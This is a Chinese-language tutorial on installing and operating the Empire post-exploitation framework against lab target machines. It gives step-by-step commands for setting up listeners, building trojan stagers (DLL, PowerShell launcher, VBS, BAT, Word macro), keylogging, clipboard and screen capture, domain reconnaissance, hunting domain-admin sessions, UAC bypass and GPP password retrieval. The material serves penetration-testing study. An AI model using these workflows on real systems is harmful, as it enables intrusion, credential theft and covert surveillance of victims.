安装
git命令下载
git clone https://github.com/EmpireProject/Empire.git
接着进入setup目录,安装Empire
cd Empire
cd setup
sudo ./install.sh
但是会出现报错
Traceback (most recent call last):
File "./empire", line 13, in <module>
from lib.common import empire, helpers
File "/root/Empire/lib/common/__init__.py", line 8, in <module>
import helpers
File "/root/Empire/lib/common/helpers.py", line 50, in <module>
import iptools
ImportError: No module named iptools
这里是少了几个包,下载一下就好了
pip install iptools
pip install pydispatch
pip install netifaces
pip install pydispatcher
pip install zlib_wrapper
pip install xlrd
pip install macholib
pip install xlutils
pip install pyminifier
pip install dropbox
安装完之后重置一下就好
cd setup/
sudo ./reset.sh
帮助文档
设置监听
Empire和Meterpreter使用原理一样,都是先设置一个监听,接着生成一个木马,然后再目标主机中运行该木马,我们的监听就会连接上反弹回来的代理。
使用listeners命令进入监听线程界面,接着输入userlistener来设置何种模式,输入userlistener+空格,再双击Tab键可以看到一共有其中模式
这里使用http监听模式,输入info查看具体参数设置
使用set命令设置相应的参数,然后使用execute命令开始监听
使用list命令可以列出当前激活的listener
使用kill命令可以删除该监听
当开启多个监听时,必须使用不同的名称,并且使用不同的端口
生成木马
设置完监听,接着就要生成木马然后再目标机器上运行。可以把这个理解成Metasploit里面的Payload、Empire里拥有多个模块化的stager,接着输入usestager来设置采用何种模块,同样,通过双击Tab键,可以看到一共有26个模块。
- DLL木马
usestager windows/dll
输入info命令查看详细参数,设置好参数之后,然后执行execute命令,就会在tmp目录下生成名为launch.dll的木马,launch在目标主机运行后,就会成功上线
2. launcher
如果只需要简单的PowerShell代码,在设置完相应模块后,可以直接在监听器菜单中键入launcher<language><listenerName>
,将很快生成一行base64编码代码,这里输入back命令回来listener下,然后输入launch powershell test(当前设置的listener名字)命令来生成一个Payload
然后再装有PowerShell的目标机上执行生成的这段命令,就会得到这个主机的权限
可以看到已经上线了两个主机
输入agent可以看到上线主机的具体内容
使用rename可以修改名称
-
launch_vbs木马
在listener监听下,输入usestager windows/launcher_vbs,然后出入info命令来查看详细参数
然后设置listener参数,默认会在/tmp目录下生成一个launcher.vbs
最后输入back命令回到listener下开始监听,将生成的launcher.vbs在靶机上打开,就会获得这个主机的权限。
-
launch_bat木马
使用命令usestager windows/launcher_bat
默认在tmp目录下生成一个launcher.bat的文件,在靶机上运行,就会得到这个主机的权限
-
Macro木马
默认会在tmp目录下生成一个宏。然后需要将生成的宏添加到一个office文档里面。打开一个Word文档,单击“视图”标签,点击“宏”,点击“查看宏”,给宏起一个名字,然后创建宏
单击创建后会弹出VB编辑界面,将原来的代码删除,把生成的宏复制进去
将文档另存为“Word 97-2003文档(*.doc)”文件。将文件在靶机上执行,便可得到主机的权限
连接主机及基本使用
目标主机反弹成功后,agents命令可以查看当前已连接的主机,其中带*的是已经提权的主机
使用interact命令可以连接主机
输入help agentcmds可以看到可供使用的常用命令
在使用部分CMD命令时,需要使用shell+命令的格式
同Metasploit一样,creds命令可以自动过滤、整理出获取的用户密码
信息收集
Empire主要用于后渗透。所以信息收集是比较常用的一个模块,可以使用search module命令去搜索需要使用的模块,这里使用命令usemodule collection然后Tab键来查看完整的列表。
- 屏幕截图
2. 键盘记录
此时可以在Empire中看到靶机中的键盘记录
同时自动在empire/downloads/<AgentName>
下生成一个agent.log文件
-
剪贴板记录
执行之后将会看到剪贴板记录
-
查找共享
usemodule situational_awareness/network/powerview/share_finder
- 收集目标主机的信息
usemodule situational_awareness/host/winenum
可查看本机用户、域组成员、最后的密码设置时间、剪贴板内容、系统基本信息、网络适配器信息、共享信息等。
usemodule situational_awareness/host/computerdetails
几乎列举了系统中的所有有用信息,如目标主机事件日志、应用程序控制策略日志、包括RDP登录信息、PowerShell脚本运行和保存的信息
- ARP扫描
usemodule susemodule situational_awareness/network/arpscan
这里需要设置Range参数
- DNS信息获取
在内网中,知道所有机器的HostName和对应的IP地址对分析内网结构至关重要
usemodule situational_awareness/network/reverse_dns
usemodule situational_awareness/host/dnsserver #显示当前内网DNS服务器的IP地址
- 查找域管登录服务器IP
在内网渗透中,要想拿到内网中某台服务器的域管权限,方法之一就是找到域管登录的机器,然后横向渗透进去,窃取域管权限,从而拿下整个域。
usemodule situational_awareness/network/powerview/user_hunter
- 本地管理组访问模块
usemodule situational_awareness/network/powerview/find_localadmin_access
10.获取域控制器
usemodule situational_awareness/network/powerview/get_domain_controller
权限提升
- Bypass UAC
我们对图中的Test进行提权
usemodule privesc/bypassuac
设置Listener参数,然后运行
发现成功上线了一个新的反弹,回到agent,发现多了一个带星号的已经提权的agent
2. bypassuac_wscript
这个模块的原理是使用C:\Windows\wscript.exe执行Payload,即绕过UAC实现管理员权限执行Payload,只适用于Win7的目标主机。
usemodule privesc/bypassuac_wscript
-
PowerUp
Empire内置了PowerUp的部分工具,用于系统提权,主要有Windows系统错误配置漏洞、Windows Services漏洞、AlwaysInstallElevated漏洞等8中提权方式,输入usemodule privesc/powerup/然后按Tab查看PowerUp的完整列表
-
GPP
在域里常会启用组策略首选项来更改本地密码,便于管理和部署映像,其缺点是任何普通域用户都可以从相关域控制器SYSVOL中读取部署信息。GPP是采用AES 256加密的,输入usemodule privesc/gpp
命令就可以查看了